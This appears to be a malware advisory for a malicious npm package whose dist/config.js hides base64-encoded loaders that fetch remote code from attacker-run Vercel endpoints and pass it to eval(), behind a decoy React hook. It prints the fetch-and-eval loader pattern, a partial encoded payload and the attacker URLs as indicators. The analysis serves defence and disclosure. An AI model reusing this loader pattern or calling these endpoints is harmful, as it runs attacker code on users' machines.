GCVE-110-OSM-2026-9044

The decoded base64 payloads in dist/config.js reveal a textbook remote-code-execution supply chain attack: four async IIFE wrappers each fetch from attacker-controlled Vercel endpoints (everydaynodechecker-39147n.vercel.app and everydaynodechecker-39145n.vercel.app) with query parameters mem=root0 through root3, then pass the response body directly to eval(). The pattern `(async () => eval( await fetch('https://...').then(r => r.text()) ))()` is an explicit stage-0 loader — the real payload lives server-side and changes at will, making static detection of the final stage impossible. The publisher account (watsonconfig) has zero prior packages, no linked repository, and a throwaway Outlook email, consistent with a purpose-created malicious publisher account. The legitimate-looking React hook in dist/index.js is a decoy that provides the package's advertised functionality while config.js silently executes the remote payload. ENTRY dist/index.js (main: ./dist/index.js) OBFUSCATION - Decoded Base64 Content in dist/config.js (x4) - Base64 Encoded Payload in dist/config.js: "'KGFzeW5jICgpID0+IGV2YWwoIGF3YWl0IGZldGNoKCdodHRwczovL2V2ZXJ5ZGF5bm9kZWNoZWNrZXI..." - recovered 4 urls, 2 domains from decoded/deobfuscated content PAYLOAD FILES dist/config.js INDICATORS (IOCs) - urls: https://everydaynodechecker-39147n.vercel.app/api/key?mem=root0, https://everydaynodechecker-39147n.vercel.app/api/key?mem=root1, https://everydaynodechecker-39147n.vercel.app/api/key?mem=root2, https://everydaynodechecker-39145n.vercel.app/api/key?mem=root3 - domains: everydaynodechecker-39147n.vercel.app, everydaynodechecker-39145n.vercel.app - payloadFileHash: 616fa9a2379d50ccd1a3658ab0d285554e1ecf419c5b7f2dd65b4e574862e6ec